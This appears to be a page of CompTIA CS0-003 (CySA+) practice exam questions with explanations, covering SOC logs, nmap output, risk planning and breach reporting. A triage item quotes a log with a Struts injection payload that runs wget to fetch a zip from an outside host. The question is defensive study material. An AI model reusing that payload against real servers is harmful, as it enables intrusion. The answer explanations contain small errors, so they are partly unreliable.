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CompTIA CS0-003 Exam Questions
- Topic 1: Security Operations: It focuses on analyzing indicators of potentially malicious activity, using tools and techniques to determine malicious activity, comparing threat intelligence and threat hunting concepts, and explaining the importance of efficiency and process improvement in security operations.
- Topic 2: Vulnerability Management: This topic discusses involving implementing vulnerability scanning methods, analyzing vulnerability assessment tool output, analyzing data to prioritize vulnerabilities, and recommending controls to mitigate issues. The topic also focuses on vulnerability response, handling, and management.
- Topic 3: Incident Response and Management: It is centered around attack methodology frameworks, performing incident response activities, and explaining preparation and post-incident phases of the life cycle.
- Topic 4: Reporting and Communication: This topic focuses on explaining the importance of vulnerability management and incident response reporting and communication.
Free CompTIA CS0-003 Exam Actual Questions
Note: Premium Questions for CS0-003 were last updated On Oct. 24, 2024 (see below)
A SOC receives several alerts indicating user accounts are connecting to the company's identity provider through non-secure communications. User credentials for accessing sensitive, business-critical systems could be exposed. Which of the following logs should the SOC use when determining malicious intent?
Intrusion Detection Systems (IDS) logs provide visibility into network traffic patterns and can help detect insecure or unusual connections. These logs will show if non-secure protocols are used, potentially revealing exposed credentials. According to CompTIA CySA+, IDS logs are essential for identifying malicious activity related to communications and network intrusions. Options like DNS (A) and tcpdump (B) provide network details, but IDS specifically monitors for intrusions and unusual activities relevant to security incidents.
An analyst investigated a website and produced the following:
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-21 10:21 CDT
Nmap scan report for insecure.org (45.33.49.119)
Host is up (0.054s latency).
rDNS record for 45.33.49.119: ack.nmap.org
Not shown: 95 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
25/tcp closed smtp
80/tcp open http Apache httpd 2.4.6
113/tcp closed ident
443/tcp open ssl/http Apache httpd 2.4.6
Service Info: Host: issues.nmap.org
Service detection performed. Please report any incorrect results at https://nmap .org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.52 seconds
Which of the following syntaxes did the analyst use to discover the application versions on this vulnerable website?
SIMULATION
A healthcare organization must develop an action plan based on the findings from a risk
assessment. The action plan must consist of:
* Risk categorization
* Risk prioritization
. Implementation of controls
INSTRUCTIONS
Click on the audit report, risk matrix, and SLA expectations documents to review their
contents.
On the Risk categorization tab, determine the order in which the findings must be
prioritized for remediation according to the risk rating score. Then, assign a categorization to each risk.
On the Controls tab, select the appropriate control(s) to implement for each risk finding.
Findings may have more than one control implemented. Some controls may be used
more than once or not at all.
If at any time you would like to bring back the initial state of the simulation, please click
the Reset All button.
A regulated organization experienced a security breach that exposed a list of customer names with corresponding PH dat
a. Which of the following is the best reason for developing the organization's communication plans?
Developing an organization's communication plans is crucial to ensure that incidents, especially those involving sensitive data like PH (Protected Health) data, are promptly reported to the relevant regulatory agencies. This is essential for compliance with legal and regulatory requirements, which often mandate timely notification of data breaches. Effective communication plans help the organization manage the breach response process, mitigate potential legal penalties, and maintain transparency with regulatory bodies.
An incident response team member is triaging a Linux server. The output is shown below:
$ cat /etc/passwd
root:x:0:0::/:/bin/zsh
bin:x:1:1::/:/usr/bin/nologin
daemon:x:2:2::/:/usr/bin/nologin
mail:x:8:12::/var/spool/mail:/usr/bin/nologin
http:x:33:33::/srv/http:/bin/bash
nobody:x:65534:65534:Nobody:/:/usr/bin/nologin
git:x:972:972:git daemon user:/:/usr/bin/git-shell
$ cat /var/log/httpd
at org.apache.catalina.core.ApplicationFilterChain.internaDoFilter(ApplicationFilterChain.java:241)
at org.apache.catalina.core.ApplicationFilterChain.internaDoFilter(ApplicationFilterChain.java:208)
at org.java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:316)
at org.java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
WARN [struts2.dispatcher.multipart.JakartaMultipartRequest] Unable to parse request container.getlnstance.(#wget http://grohl.ve.da/tmp/brkgtr.zip;#whoami)
at org.apache.commons.fileupload.FileUploadBase$FileUploadBase$FileItemIteratorImpl.
at org.apache.struts2.dispatcher.multipart.JakartaMultipartRequest.parseRequest(JakartaMultiPartRequest.java:188) org.apache.struts2.dispatcher.multipart.JakartaMultipartRequest.parseRequest(JakartaMultipartRequest.java:423)
Which of the following is the adversary most likely trying to do?
The log output indicates an attempt to execute a command via an unsecured service account, specifically using a wget command to download a file from an external source. This suggests that the adversary is trying to exploit a vulnerability in the web server to run unauthorized commands, which is a common technique for gaining a foothold or further compromising the system. The presence of wget http://grohl.ve.da/tmp/brkgtr.zip indicates an attempt to download and possibly execute a malicious payload.
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